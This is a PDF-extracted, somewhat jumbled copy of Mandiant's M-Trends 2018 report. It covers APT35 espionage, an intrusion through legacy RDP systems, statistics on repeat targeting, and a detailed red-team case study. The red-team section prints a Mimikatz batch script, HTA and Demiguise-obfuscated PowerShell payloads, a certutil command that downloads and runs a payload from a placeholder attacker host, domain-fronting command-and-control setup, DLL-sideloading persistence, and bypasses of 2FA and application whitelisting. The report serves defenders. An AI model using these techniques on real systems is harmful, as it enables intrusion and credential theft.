Initial Compromise Establish Foothold Escalate Privileges Internal Reconnaissance Complete Mission Move LaterallyMaintain Presence Phishing Valid credentials obtained from previous compromise Password Spray Ekton CMS Vulnerability Strategic Web Compromise FIVERINGS BROKEYOLK RARESTEAK Meterpreter Batch file that persisted via a registry-run key Powershell TightVNC VPN Mimikatz Procdump Psexec RDP Plink Credential Theft Webshells, including Tunna and ASPXSHELLSV DRUBOT MANGOPUNCH HOUSEBLEND PUPYRAT Steal valid user credentials, including soft token Gain access to domain controllers, Exchange/ CAS servers Alter mailbox access rights Powershell Access mailboxes SoftPerfect Network Scanner SMB Scanning Oce 365 Delete log files Delete and overwrite files Stage RAR files in local folders Download Personal Storage Table (PST) Archive Create email forwarding rules 18 SPECIAL REPORT  M-TRENDS 2018 19SPECIAL REPORT  M-TRENDS 2018 IRAN STATE-SPONSORED ESPIONAGE 18 SPECIAL REPORT  M-TRENDS 2018 18 SPECIAL REPORT  M-TRENDS 2018 19SPECIAL REPORT  M-TRENDS 2018 19SPECIAL REPORT  M-TRENDS 2018 Throughout 2017, Mandiant observed a significant increase in the number of cyber attacks originating from threat actors sponsored by Iran.
While they have captured notoriety over the past year, especially for their destructive attacks, much of their espionage activity has gone unnoticed.
Their list of victims currently spans nearly every industry sector and extends well beyond regional conflicts in the Middle East.
For some time, these threat actors were primarily a nuisance consisting of a loose collective of patriotic hackers who conducted web defacements, distributed denial of service (DDoS) campaigns and occasional destructive malware attacks.
Since 2010, post-Stuxnet, Iran has increased its cyber espionage capabilities and is now operating at a pace and scale consistent with other nation- state sponsored APT groups.
Iranian threat actors have compromised a variety of organizations, but recently they have expanded their efforts in a way that previously seemed beyond their grasp.
Today they leverage strategic web compromises (SWC) to ensnare more victims, and to concurrently maintain persistence across multiple organizations for months and sometimes years.
Rather than relying on publicly available malware and utilities, they develop and deploy custom malware.
When they are not carrying out destructive attacks against their targets, they are conducting espionage and stealing data like professionals.
20 SPECIAL REPORT  M-TRENDS 2018 21SPECIAL REPORT  M-TRENDS 2018 APT35 CASE STUDY: APT35 In early 2017, Mandiant responded to an incident involving APT35 targeting an energy company.
The attacker used a spear-phishing email containing a link to a fake resume hosted on a legitimate website that had been compromised.
The resume contained the PUPYRAT backdoor, which communicated with known APT35 infrastructure.
APT35 also installed BROKEYOLK, a custom backdoor, to maintain persistence on the compromised host.
They then proceeded to log directly into the VPN using the credentials of the compromised user.
Contents of run.bat copy MsMpEng.exe \\1\C\windows\temp\MsMpEng.exe PsExec.exe \\1 -s -c m.bat -accepteula move  \\1\C\Windows\temp\temp.dat 1.txt del \\1\C\windows\temp\MsMpEng.exe Contents of m.bat C:\windows\MsMpEng.exe privilege::debug sekurlsa::logonPasswords exit  C:\windows\temp\temp.dat Figure 4.
Contents of recovered batch files.
Once connected to the VPN, APT35 focused on stealing domain credentials from a Microsoft Active Directory Domain Controller to allow them to authenticate to the single-factor VPN and Office 365 instance.
The attacker did not deploy additional backdoors to the environment.
During the analysis of a compromised domain controller, Mandiant identified batch files (Fig.
4) that were used to steal credentials and hide attacker activity by performing the following actions: 1.
Copied a modified variant of Mimikatz to the remote system.
2.
Executed Microsofts Sysinternals PsExec utility to deploy and execute a Windows batch file containing commands to execute the Mimikatz variant on each target system.
3.
Copied the contents of the Mimikatz output to a local file, named after the remote system.
4.
Deleted the modified variant of Mimikatz from the remote system.
20 SPECIAL REPORT  M-TRENDS 2018 21SPECIAL REPORT  M-TRENDS 2018 While the credential harvesting technique was unsophisticated, it was effective.
Mandiants analysis indicated the attacker successfully harvested credentials from more than 500 systems within the environment using this technique.
While having access to the organizations environment, the attacker targeted data related to entities in the Middle East.
Mandiant has previously observed targeted attackers stealing email, but few threat actors have been as successful at this as APT35.
Additionally, the attackers methodology for accessing and stealing email from a victim organization adapted to accommodate cloud migration trends as companies moved to off- premises email solutions such as Office 365.
Forensic analysis revealed the attacker leveraged Microsoft Exchange Client Access cmdlets to modify permissions on target mailboxes.
Exchange has several Client Access cmdlets that are used legitimately by Exchange administrators for routine tasks and maintenance.
2018-01-01 01:02:34 EXCHANGESERVER 7872 w3wpMSExchangePowerShellFrontEndAppPool 68   COMPROMISED_ ACCOUNT    TRUE ManagementShell Add-MailboxPermission -User AttackerControlledAccount -AccessRights (FullAccess) -InheritanceType All Figure 5.
Example of attacker adding read access to target mailbox.
Mandiant observed that the attacker had granted compromised accounts read access to hundreds of mailboxes with the Add- MailboxPermission cmdlet (Fig.
5).
Following the assignment of mailbox permissions, the attacker authenticated to the victim organizations Outlook Web Access (OWA) portal to access targeted inboxes.
By assigning these permissions to a single account, the attacker was able to read, access and steal hundreds of emails in a single view.
The attacker could also blend into normal day-to-day activities of users accessing their email through the OWA portal, and did not need to install any additional malware into the environment.
Ultimately, APT35 had used access to hundreds of mailboxes to read email communications and steal data related to Middle East organizations, which later became victims of destructive attacks.
1.
Copied a modified variant of Mimikatz to the remote system.
2.
Executed Microsofts Sysinternals PsExec utility to deploy and execute a Windows batch file containing commands to execute the Mimikatz variant on each target system.
3.
Copied the contents of the Mimikatz output to a local file, named after the remote system.
4.
Deleted the modified variant of Mimikatz from the remote system.
A cmdlet is a lightweight Windows PowerShell command.
22 SPECIAL REPORT  M-TRENDS 2018 23SPECIAL REPORT  M-TRENDS 2018 Organizations continue to struggle with tracking and maintaining their internet footprint.
This case study from Asia Pacific illustrates the continuation of a well-established trend of exposure and compromise of poorly protected and overlooked legacy systems.
HIDDEN THREATS REMAIN IN LEGACY SYSTEMS A case study from Asia Pacific 22 SPECIAL REPORT  M-TRENDS 2018 23SPECIAL REPORT  M-TRENDS 2018 A large company in Asia was recently the latest in a long line of organizations to be compromised because Remote Desktop Protocol (RDP) is accessible from the Internet.
The breach was identified through the discovery of an unauthorized database administrator account on a billing database server.
The companys internal investigation uncovered unauthorized RDP logons by a local administrator account to a legacy web server.
The attacker then connected to and tunneled connections through an intermediary system in the client environment.
From the intermediary system, the attacker was able to access a database server using a separate database administrator account.
The client quickly identified and decommissioned the web server and other legacy systems and changed the password of accounts used by the attacker.
At some point during the compromise the clients antivirus software began detecting some of the attackers password dumping tools, so the attacker added the C:\temp\ directory, which was being used as a tool repository, to the list of directories to not be scanned by antivirus software.
Configuring the antivirus software to ignore the directory C:\temp created a registry artifact (Fig.
6) that helped identify additional systems compromised by the attacker.
This case illustrates the risk posed by having the RDP accessible from the Internet.
Access to RDP is a common vector used by attackers to gain access to environments either directly from the Internet or by leveraging access they gain through a third-party.
Initial compromise: Mandiant identified evidence of malicious activity dating back several years, and that the environment had been accessed by more than one attacker.
Mandiant was unable to identify how the environment was first compromised due to evidence decay.
Establish foothold: The attacker moved laterally within the environment and installed a variety of backdoors, keyloggers and network traffic tunnelers, ranging from publicly available malware such as Gh0stRAT, Empire, and the China Chopper web shell, to some highly powerful and non-public malware.
Escalate privileges: The attacker leveraged credentials obtained from domain controllers and keyloggers installed on the systems of high-value individuals to provide access to the environment.
Internal reconnaissance: The attacker conducted internal reconnaissance using built-in tools and tools that the attacker placed in the environment.
Examples of the methods used for internal reconnaissance included: PowerShell Windows Task Scheduler NBTScan TCPScan Non-public keyloggers Non-public screen recorders Complete mission: The attacker targeted billing and customer information.
Mandiant identified evidence suggesting gigabytes of sensitive customer information had been exfiltrated from the network.
Figure 6: Example of the registry artifact that was created by the attacker adding an exclusion for the directory C:\temp.
Redacted Eventlog Messages of Whitelisting a Folder HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Popular AV Program\AV\Exclusions\HeuristicScanning\Directory\Client\3212312312\ DirectoryName  C:\temp\ 24 SPECIAL REPORT  M-TRENDS 2018 25SPECIAL REPORT  M-TRENDS 2018 Regional Considerations We find that customers in the APAC region are twice as likely to have experienced multiple incidents from multiple attackers, compared to customers in EMEA or North America.
Over 91 percent of our APAC customers with at least one significant attack will have attacker activity within the next year (Fig.
7).
Of those customers, 82 percent will have multiple attackers identified over the life of their service (Fig.
8).
Figure 7.
Customers with one significant attack that experienced another attack of consequence, by region.
Figure 8.
Customers with significant attack from multiple groups, by region.
100 90 80 70 60 50 40 30 20 10 0 AMERICAS EMEA APAC 44 47 91 100 90 80 70 60 50 40 30 20 10 0 AMERICAS EMEA APAC 38 40 82 ONCE A TARGET, Always a Target In 2013 M-Trends, we looked at organizations that had been targeted or re- compromised after remediating a previous attack.
Our original data showed 38 percent of clients were attacked after remediation.
Our 2017 data shows that, 56 percent of FireEye managed detection and response customers who were previously Mandiant incident response clients were targets of at least one significant attack in the past 19 months by the same or similarly motivated attack group.
A significant attack is attacker activity that may include data theft, compromised accounts, credential harvesting, lateral movement and spear phishing, which affects at least 43 of our managed detection and response customers.
49 of customers with at least one significant attack were successfully attacked again within one year.
of the time, customers who have had more than one significant attack have also had more than one unique attacker in their environment.
86We also found that: 24 SPECIAL REPORT  M-TRENDS 2018 25SPECIAL REPORT  M-TRENDS 2018 0 Non-Profit Government Business and Professional Services Transportation and Logistics Other Financial Energy Biotechnology and Pharmaceuticals Retail and Hospitality Media and Entertainment Healthcare Manufacturing Construction and Engineering Education Telecommunications High Tech 2 4 6 8 In d us tr y ty p e Number of different threat groups Industry Trends The top three industries most frequently targeted by multiple attackers are high-tech, telecommunications and education (Fig.
9).
The top three industries with the most significant attacks are financial, high-tech and healthcare (Fig.
10).
There is a difference between industries that have been successfully attacked by multiple threat groups versus industries that are targeted most often.
Notably, the high-tech industry is both frequently targeted by multiple attackers and also sees a large number of significant attack attempts (Fig.
11).
This trend highlights the industries that most often have to deal with multiple types of threat actors, each with potentially different missions and TTPs to defend against.
Several industries appear more adaptive and more rigorous in their security posture over time.
As an example, when we examine the industries that suffer multiple successful attacks, separated by remediation attempts, we observed that the financial industry was ninth out of 16 industries.
Our experiences suggest the financial services are less likely to succumb to subsequent attacks over time.
Industries that have historically been targeted by Chinese based groups move to the top of the attacked by multiple groups list.
Unfortunately, if youve been breached, our statistics show that you are much more likely to be attacked and suffer another breach.
If you have not taken steps to enhance your security posture, you are taking a significant risk.
0 Non-Profit Other Media and Entertainment Business and Professional Services Biotechnology and Pharmaceuticals Government Energy Transportation and Logistics Construction and Engineering Manufacturing Education Telecommunications Retail and Hospitality Healthcare High Tech Financial 2 4 6 8 10 11 12 14 16 In d us tr y ty p e Number of different threat groups Figure 10.
Customers industries by number of significant attacks.
Figure 9.
Customers targeted by multiple threat groups, by industry.
0 Non-Profit Government Business and Professional Services Other Energy Transportation and Logistics Media and Entertainment Financial Biotechnology and Pharmaceuticals Retail and Hospitality Manufacturing Construction and Engineering Healthcare Education Telecommunications High Tech 2 4 6 8 In d us tr y ty p e Number of different threat groups Figure 11.
Customers with significant attacks from multiple attackers, by industry.
26 SPECIAL REPORT  M-TRENDS 2018 27SPECIAL REPORT  M-TRENDS 2018 RED TEAMING for Security Effectiveness Mandiant recently conducted a Red Team Assessment for an organization hosting large amounts of personally identifiable information (PII).
The goal of the assessment was to validate the organizations ability to protect their PII.
The red team was provided with the organizations name and no additional architectural information, making it a black-box assessment.
26 SPECIAL REPORT  M-TRENDS 2018 27SPECIAL REPORT  M-TRENDS 2018 The red team used open source intelligence (OSINT) to identify the external IP addresses, email addresses and phone numbers that constituted the attack surface of the organization.
After creating a list of target email addresses, the red team launched a phishing campaign using emails with a hyperlink crafted to direct the user to an HTML Application (HTA) payload.
The payload launched the Windows-native Certutil command, calling back to a command and control (CnC) server.
Three systems were compromised in the initial phishing campaign of 30 users.
One hour after the phishing campaign started, one of the targeted users reported the phishing email to the organizations abuse mailbox.
The security operations center (SOC) responded to the report and blacklisted the fully qualified domain name (FQDN) of the web server hosting the HTA payload, but infected workstations continued to connect to the red teams CnC server.
The FQDN of the CnC server was not identified and blocked by DOCTYPE html html head HTA:APPLICATION IDhost BORDERthin BORDERSTYLEcomplex maximizeButtonyes minimizeButtonyes scrollno/ titleSample/title /head script forprize eventonClick languageVBScript Dim notMal Set notMal  CreateObject(WScript.
Shell) notMal.
Run powershell.exe -e VwByAGkAdABlAC0ASABvAHMAdAAgACIAUABXAE4ARQBEACIAOwAgAHIAZQBhAGQALQBoAG8AcwB0AA /script body p Youre our millionth victim /p p form input typebutton valueClaim my prize/input /form /p /body /html the SOC because the HTA payload was designed to bypass manual and automated analysis by using a combination of obfuscation and sandbox evasion techniques.
HTA payloads allow the red team to create convincing scenarios while delivering a flexible payload through the power of Microsofts VBScript and JScript languages.
HTAs also allow red teams to bypass application whitelisting controls because the native Windows application associated with the HTA file extension, mshta.exe, is a Microsoft-signed executable, a file type typically permitted to execute by application whitelists.
An unobfuscated HTA payload might run a command line command by invoking the Run method of VBScripts WScript.
Shell class (Fig.
12).
Figure 12.
An HTA file that executes a PowerShell payload.
28 SPECIAL REPORT  M-TRENDS 2018 29SPECIAL REPORT  M-TRENDS 2018 The unobfuscated HTA payload contains many plaintext strings that automated analysis could leverage to identify the HTA file as suspicious.
For example, incident responders often monitor for the use of the PowerShell command, the syntax used to run a PowerShell command, and the presence of what appears to be a base64 encoded command.
Creating an obfuscated payload is the simplest way to avoid these common detections.
Publicly available tools, such as NCC Groups Demiguise2 can automatically create obfuscated HTA payloads that can only be decoded by the key provided during the obfuscation process.
Figure 13 demonstrates the Demiguise obfuscation process used to generate an HTML document that relies on a specific string (in this case, 1.2.3.4) as the key to decrypt the HTA payload.
In this case, the key is the external IP address of the victim organization.
This can be obtained from OSINT or a previous compromise.
The victim must have the same external IP address to decrypt the payload, effectively bypassing sandboxes hosted in a cloud environment.
Figure 13.
Using Demiguise to execute a PowerShell payload.
2  Available at https://github.com/nccgroup/demiguise.
roottestbox:/git/demiguise./demiguise.py -k 1.2.3.4 -c powershell.e xe -e VwByAGkAdABlACBASABvAHMAdAAgACIAUABXAE4ARQBEACIA0wAgAHIAZQBhAGQAL QBoAG8AcwB0AA -o payload.hta -p Outlook.
Application [] Generating with key 1.2.3.4 [] Will execute: powershell.exe -e VwByAGkAdABlACBASABvAHMAdAAgACIAUAB XAE4ARQBEACIA0wAgAHIAZQBhAGQALQBoAG8AcwB0AA [] HTA file written to: payload.html roottestbox:/git/demiguise 28 SPECIAL REPORT  M-TRENDS 2018 29SPECIAL REPORT  M-TRENDS 2018 The resulting payload (Fig.
14) has very few strings that can be detected by automated analysis, and the payload might avoid manual detection if it used a complex key retrieval process.
html body script function zPaLZROx(r,o)for(var t,e[],n0,a,f0f256f)e[f]ffor(f0f256f) n(ne[f]r.charCodeAt(fr.length))256,te[f],e[f]e[n],e[n]tf0,n0for(var h0ho.
lengthh)n(ne[f(f1)256])256,te[f],e[f]e[n],e[n]t,aString.fromCharCode (o.charCodeAt(h)e[(e[f]e[n])256])return a var HYvtwtnj  function()return 1.2.3.4 var ZRETMvTj  BFcTWpEviGQFt7jTLl9yU/D3W1gubuKV2JlsaadzqV4ClduGq1AkiMQYhG68KLfSeQ6XvR pchps2nNOsWyRnyhM2iLYvhSwa9kLUKL2bta9SF9fZAsTIOmsdk6xKH7a79WCHYs3N44IWrEj4/eA7HfvSzu6MO pbJOyrCy25J639PSF1mdA2eLHXCElEveIhZBWLhe55ffz/9m9oHLoniv8p7exo5AYFpSsxaMHF qpdUQ9jf6zyX72O/4D9tTj45qMW6xkM9sYvTb3Tgp5oig26vZTaHqIK2lx0gkA1nwHACbg5mZZ9KRgFMuYsYZL var zCfYcHmx  zPaLZROx(HYvtwtnj(),atob(ekgfSg)) setTimeout(var WwhLHkAK  new zCfYcHmx([zPaLZROx(HYvtwtnj(), atob(ZRETMvTj))])) var fONcNXjJ  zPaLZROx(HYvtwtnj(),atob(EEIFRpsrlSsH/rSYPVB0W6j8dnMbJeeVxokhIINO/ qcxAlRwVeJOuDU3TAW12rPkEaM6ee88IANWm1wQ5kLLgXYdnGaP71DvNLRWE8G6KIPPFAANfFkPdrP7OQKSfHnc svOLDosxcqdKDfQu8qiC/U3gXHqRJpkkbOpBmL1Jd/zJ3AniIN5fK7SEAAWqaPHzN4aJha64/DjtMi0tnH7gGj 8ai97dkEEdah3uBfHe9bUVVwfvO8BLWy9pP5vHjooeCMEOtwIpQJozzwF11grTU18rliFFPeL Tk9uQ4A9XhDBin7wFEf4O06TNjfpZ0CkM37fETAfvTDnTPT7RC4vAtnAdC268y3bEQCvox/vZSzKScPEjVVw4MF NAAJkeeHdKjH54zouxo7GrzHDmjTFU5YoATeLltJ9216tQTLF0id6q8)) setTimeout(fONcNXjJ(WwhLHkAK, zPaLZROx(HYvtwtnj(), atob(SEUJRJcmGoBorc)))) /script /body /html Figure 14.
An obfuscated payload for the basic PowerShell command.
30 SPECIAL REPORT  M-TRENDS 2018 31SPECIAL REPORT  M-TRENDS 2018 To avoid sandbox detection mechanisms often deployed in mature environments, sandbox evasion techniques can be built into the payload with the obfuscation.
A red team could use any number of sandbox evasion techniques including forcing the malware to wait or sleep a specified period of time before executing (Fig.
15), checking for mouse movement or clicks, or checking that a minimum number of processes are present for the payload to be executed.
Combined with Demiguise, the final payload file has little to detect (Fig.
16).
Figure 16.
The final Demiguise payload.
html body script function zPaLZROx(r,o)for(var t,e[],n0,a,f0f256f)e[f]ffor(f0f256f)n (ne[f]r.charCodeAt(fr.length))256,te[f],e[f]e[n],e[n]tf0,n0for(var h0ho.
lengthh)n(ne[f(f1)256])256,te[f],e[f]e[n],e[n]t,aString.fromCharCode(o.charCodeAt (h)e[(e[f]e[n])256])return a var HYvtwtnj  function()return 1.2.3.4 var ZRETMvTj  BFcTWpEviGQFt7jTLl9yU/D3W1gubuKV2JlsaadzqV4ClduGq1AkiMQYhG68KLfSeQ6XvRpchps 2nNOsWyRnyhM2iLYvhSwa9kLUKL2bta9SF9fZA sTIOmsdk6xKH7a79WCHYs3N44IWrEj4/eA7HfvSzu6MOpbJOyrCy25J639PSF1mdA2eLHXCElEveIhZBWLhe55ffz/ 9m9oHLoniv8p7exo5AYFpSsxaMHFqpdUQ 9jf6zyX72O/4D9tTj45qMW6xkM9sYvTb3Tgp5oig26vZTaHqIK2lx0gkA1nwHACbg5mZZ9KRgFMuYsYZL var zCfYcHmx  zPaLZROx(HYvtwtnj(),atob(ekgfSg)) setTimeout(var WwhLHkAK  new zCfYcHmx([zPaLZROx(HYvtwtnj(), atob(ZRETMvTj))])) var fONcNXjJ  zPaLZROx(HYvtwtnj(),atob(EEIFRpsrlSsH/rSYPVB0W6j8dnMbJeeVxokhIINO/ qcxAlRwVeJOuDU3TAW12rPkEaM6ee88IANWm1wQ5kLLgXYdnGaP71DvNLRWE8G6KIPPFAANfFkPdrP7OQKSfHncsv OLDosxcqdKDfQu8qiC/U3gXHqRJpkkbOpBmL1Jd/zJ3AniIN5fK7SEAAWqaPHzN4aJha64/ DjtMi0tnH7gGj8ai97dkEEdah3uBfHe9bUVVwfvO8BLWy9pP5vHjooeCMEOtwIpQJozzwF11grTU18rliFFPeLTk9u Q4A9XhDBin7wFEf4O06TNjfpZ0CkM37fETAfvTDnTPT7RC4vAtnAdC268y3bEQCvox/vZSzKScPEjVVw4MFNAAJkee HdKjH54zouxo7GrzHDmjTFU5YoATeLltJ9216tQTLF0id6q8)) setTimeout(fONcNXjJ(WwhLHkAK, zPaLZROx(HYvtwtnj(), atob(SEUJRJcmGoBorc)))) /script /body /html Figure 15.
A delayed payload execution command.
roottestbox:/git/demiguise./demiguise.py -k 1.2.3.4 -c timeout 12 certutil -urlcache -split -f https//myevil.domain/payload payload.exe payload.exe -o payload.hta -p Outloock.
Application [] Generating with key 1.2.3.4 [] Will execute: timeout 12  certutil -urlcache -split -f https//myev il.domain/payload payload.exe [] HTA file written to: payload.html roottestbox:/git/demiguise 30 SPECIAL REPORT  M-TRENDS 2018 31SPECIAL REPORT  M-TRENDS 2018 www.badperson.com Fronted Domain www.innocus.fronted.
domain.com CDN frontal server, which acts as a proxy/gateway DNS request for www.innocus.fronted.domain.com Victim TLS initiated with SNI set to www.innocus.fronted.domain.com HTTP Header with host of www.badperson.com 1 2 3 The SOC was unable to identify the CnC server using network traffic analysis due to the use of a covert CnC communication known as domain fronting.
This attack technique has been leveraged by Russian nation-state actors such as APT29.
Originally developed as a technique to avoid censorship-based blocking of Internet traffic, domain fronting allows an attacker to abuse HTTPS connections to hide CnC activity in network traffic so that it is indistinguishable from legitimate requests for popular websites.
The true destination of the CnC activity is obscured through the content delivery networks (CDNs).
This technique leverages the HTTP Host header used in many shared hosting environments to specify the target for a specified request.
This allowed Mandiants red team to hide its CnC traffic in what appeared to be legitimate requests for sites hosted in the CDN.
The red team used a configuration (Fig.
17) derived by following these steps: 1.
Create a CDN instance in the same shared hosting environment and configure this instance to forward traffic to the red teams malicious CnC server.
2.
During CnC communications, establish an SSL/TLS connection to a well-known site that uses the same CDN.
There are publicly available lists of domains that can be used as an impersonated domain for most major CDNs.
Figure 17.
Preferred CnC setup.
3.
Set the Host header on subsequent HTTPS CnC requests to point to the CDN instance.
This will cause the CDN to direct all requests to the actual domain rather than the impersonated domain used for the initial SSL/TLS connection.
Domain fronting gives an attacker several advantages: Renders detection of CnC traffic using known IP addresses or domain names ineffective.
Makes anomaly detection ineffective because the traffic is indistinguishable from other traffic destined for large CDNs.
Makes detection based on known bad or anomalous SSL/TLS certificates ineffective because the domain name and SSL/TLS certificate belong to a legitimate site in the CDN.
Creates challenges to remediation since blocking CnC traffic could result in legitimate domain names or IP addresses being blocked.
Prevents SSL/TLS decryption techniques from being used by taking advantage of certificate pinning for SSL/ TLS certificates.
32 SPECIAL REPORT  M-TRENDS 2018 33SPECIAL REPORT  M-TRENDS 2018 The red team persisted on the initial three compromised systems using a Windows Management Instrumentation (WMI) event subscriber.
The event subscription consisted of an event filter that acted as a trigger and an event consumer that executed the payload, in this case Symantecs signed symerr.exe.
The symerr.exe executable loads a DLL named cclib.dll from its current working directory, so Mandiant leveraged this functionality to load a malicious DLL (Fig.
18 and 19).
C:\Program Files\Norton Internet Security\Engine\22.9.0.68\symerr.exe cclib.dll Figure 18.
Persistence using symerr.exe.
Figure 19.
Properties of symerr.exe.
Once a persistence mechanism was deployed to a few systems, the red team moved quickly to escalate privileges and move laterally before the initial systems and communications to the compromised network were lost.
The red team looked for opportunities to escalate privileges in the domain using various techniques.
One avenue that proved useful in this assessment was a misconfigured userPassword attribute in Active Directory.
Depending on the Active Directory configuration, this attribute can be treated as either of the following: An ordinary Unicode attribute, which can be written and read as any other Unicode attribute in directory.
A shortcut to userPassword in directory, which will allow password change operation to be performed over LDAP.
32 SPECIAL REPORT  M-TRENDS 2018 33SPECIAL REPORT  M-TRENDS 2018 Figure 21.
Example userPassword attribute with stored Unicode password.
get-netuser -Domain REDACTEDDOMAIN -Filter userpassword  select -expandproperty userpassword  [char][int]_  write-host -nonewline write-host Figure 20.
PowerView function to grab userPassword field and decode it.
3  Available at https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1.
PowerView3 has a Get-NetUser function that assists with automating the process of looking up this attribute in Active Directory.
The red team used the command (Fig.
20) to harvest credentials for several service accounts on the Active Directory domain.
Plaintext passwords are stored in the userPassword attribute in Unicode format (Fig.
21).
[...]
samaccountname :      IN usncreated :      6 displayname :      IN description : DO NOT DISABLE - PeopleSoft FIN account for Ker beros auth.
Please contact FT HR IT userpassword : 112, 115, 57, 49... pwdlastset : 11/18/2014 12:37:22 PM objectclass : top, person, organizationalPerson, user useraccountcontrol : 66048 lastknownparent : OUServer Accounts Disabled, DCprod, DSad, DSme ,DC    ,DCcom [...] 34 SPECIAL REPORT  M-TRENDS 2018 35SPECIAL REPORT  M-TRENDS 2018 Completing the Mission At this this point the red team had domain administrator privileges, but the target database server storing PII was protected by jump servers that required two-factor authentication (2FA).
The easiest way to bypass 2FA is not to attack the solution itself, but to leverage its capabilities and a lack of adherence to security best practices to obtain the second factor for some number of users.
Soft tokens are easily distributed to users, but they create additional risk when stored on local computers and network shares.
Unfortunately, this is often the case with users and IT administrators.
Soft tokens are often not secured with a password, or a default password is stored with the soft token that allows an attacker to import the soft token.
Once an attacker has imported a soft token, the process of identifying the workstation belonging to the user and keylogging the user to obtain their PIN is straightforward.
During the assessment, Mandiants red team identified 955 soft token files as having the stdtid extension, which is the default for RSA soft token files.
With RSA soft tokens, otf files containing email templates with a default import password were also found (Fig.
22).
The red team used stoken5 to brute force all the soft token files to see which soft tokens could be imported with the default password.
In this case, the default password worked for more than 500 soft tokens, including jump server and database administrators.
4  Available at https://github.com/Mr-Un1k0d3r/PowerLessShell.
5  Available at https://github.com/cernekee/stoken.
With domain credentials, the red team was able to move laterally to additional systems in the environment.
At this stage, the red team encountered a significant number of servers using Device Guard with constrained language mode enabled and application whitelisting.
There are several ways to bypass Device Guard and application whitelisting, one of which is the built-in Microsoft signed executable MSBuild.exe.
Using signed executables allowed Mandiant to bypass application whitelisting by executing payloads in the context of a Microsoft signed process.
Using the open source script PowerLessShell,4 Mandiants red team executed PowerShell scripts and payloads without launching PowerShell.exe directly.
With this tool, Mandiant generated a csproj file containing the payload and copied it to a new system.
Mandiant could then use WMI commands to remotely execute MSBuild, which, in turn, executed the malicious csproj payload.
Mandiant used credentials from the userPassword field to access systems containing domain administrator sessions and used Mimikatz to read LSASS memory and obtain clear text credentials for a domain administrator account.
A jump server is a special-purpose computer that is hardened against attack and provides remote access to systems in a different network security zone.
34 SPECIAL REPORT  M-TRENDS 2018 35SPECIAL REPORT  M-TRENDS 2018 Figure 22.
Soft token import template.
36 SPECIAL REPORT  M-TRENDS 2018 37SPECIAL REPORT  M-TRENDS 2018 With user credentials and a token code, the red team was only missing the corresponding PIN.
The red team obtained the RSA PIN codes for the jump server by installing a keystroke logger on the workstations of administrators and database administrators, as is shown in Fig.
23.
Figure 23.
Keylog showing RSA PIN.
-------------------------------
RSA SecurID  :  Log In - Windows Internet Explorer - ------------------------------- [TAB] ------------------------------- 00004225    - RSA SecurID Token - ------------------------------- 1    3 ------------------------------- RSA SecurID  :  Log In - Windows Internet Explorer - ------------------------------- [PASTE]583585887 36 SPECIAL REPORT  M-TRENDS 2018 37SPECIAL REPORT  M-TRENDS 2018 Figure 24.
Perl script to enumerate databases at scale.
Becoming Better Attackers for Better Preparedness Mandiants red team is constantly learning from attackers not only to perform successful assessments without detection, but also to help our detection teams keep pace with the attackers.
When new techniques are released, our red team will immediately take that technique, try to weaponize it or make it better, and work with our detection team to help them improve detection for that technique.
After obtaining all of the components to authenticate to the jump server, the red team authenticated to the jump server, which contained a route to all database servers hosted in the network segment hosting PII.
Once on the jump server, the red team identified 210 hosts in the SSH known_hosts file.
This provided SSH routes to 210 database servers.6 A script (Fig.
24) was used to connect severs and identify databases having names that would indicate they may contain PII.
More than a million PII records were identified in the databases.
6 SSH clients store host keys for any hosts they have ever connected to.
These stored host keys are called known host keys, and the collection is often called known hosts.
-
https://www.ssh.com/ssh/host-key.
/usr/bin/perl use strict use warnings open my f, ARGV[0]) or die while (f) chomp print Starting _\n echo Starting _\n  /tmp/out.txt ssh -o ConnectTimeout5 -o BatchModeyes _ .
cracfa 21  /tmp/out.txt  close (f)  38 SPECIAL REPORT  M-TRENDS 2018 39SPECIAL REPORT  M-TRENDS 2018 CYBER SECURITY SKILLS GAP The Invisible Risk In the ongoing battle to secure organizations from malicious actors that commit crimes through methods such as theft, destruction or data manipulation, frontline defenders are a scarce resource.
As the demand for skilled personnel capable of meeting the challenges posed by these threat actors continues to rise, the supply simply cannot keep pace.
38 SPECIAL REPORT  M-TRENDS 2018 39SPECIAL REPORT  M-TRENDS 2018 A growing deficit in information security personnel is expected to dramatically exacerbate the current considerable skills gap over the next five years.
This assertion is supported by industry research data from the National Initiative for Cybersecurity Education (NICE) and insights gained from Mandiant engagements throughout 2017.
In 2017, NICE reported that 285,000 cyber security roles went unfilled in the U.S. alone.
While the scarcity of experienced professionals can be felt across the entire information security spectrum, trend analysis performed over the findings of cyber defense center (CDC) engagements throughout the year indicates that this shortage appears highly prevalent in organizations looking to develop or mature their incident response capabilities.
The specialized skillset required to respond, investigate and remediate cyber threats has become highly valued and the industry is struggling to keep pace with demand.
The Widening Gap In many ways, the skills gap is tied to the quantitative nature of these roles.
While a CDC breaks free from the traditional, linear SOC response process by unifying multiple security and intelligence disciplines into a single strategic incident response center for the organization, personnel requirements at the most basic level are comparable.
Though the numbers tend to fluctuate based on different industries, organization size and other factors, the minimum number of personnel for an around-the- clock CDC is approximately 9 to 12 full-time employees.
A traditional CDC structure breaks this baseline headcount into incident response expertise levels, with a larger, less experienced subset of the staff focused on initial detection and triage and more seasoned personnel performing investigation and remediation.
As a CDC matures, its need for a larger talent pool grows.
To maximize the cost of effectively handling incident response internally, the CDC should be vigilant in increasing the scope of its detection and response capabilities throughout the organization to achieve its strategic objectives.
The effort to mature and develop a more proactive security posture inevitably leads to increased personnel requirements.
The increased focus on identifying and remediating risks before they cause harm often necessitates investment in specialized skillsets, including malware analysis, threat hunting, analytics, automation and threat intelligence.
The more effective a SOC becomes, the greater its scope becomes and the more responsibility it will inevitability take on.
40 SPECIAL REPORT  M-TRENDS 2018 41SPECIAL REPORT  M-TRENDS 2018 Limitations in Visibility and Detection The ability to detect events within the organization that could be indicative of a greater incident is central to an effective incident response capability.
The single most pervasive trend in the investigations and assessments that Mandiant conducted over the prior year was a gap in visibility and detection.
During the initial compromise phase, key indicators of malicious activity are often overlooked or mischaracterized as benign due to an implicit trust that malicious activity will be flagged by detection mechanisms.
However, detection systems often miss indicators of malicious activity due to poor configuration by inadequately trained staff.
Another common trend is the lack of appropriate event investigation because the security analysts lack the experience to identify a legitimate threat from a constant stream of potential indicators.
Mandiant reviewed the incidents they responded to in 2017, to see which phases of the attack lifecycle provided the most evidence to investigate (Fig.
25).
Figure 25.
Investigative evidence provided during attack lifecycle phases.
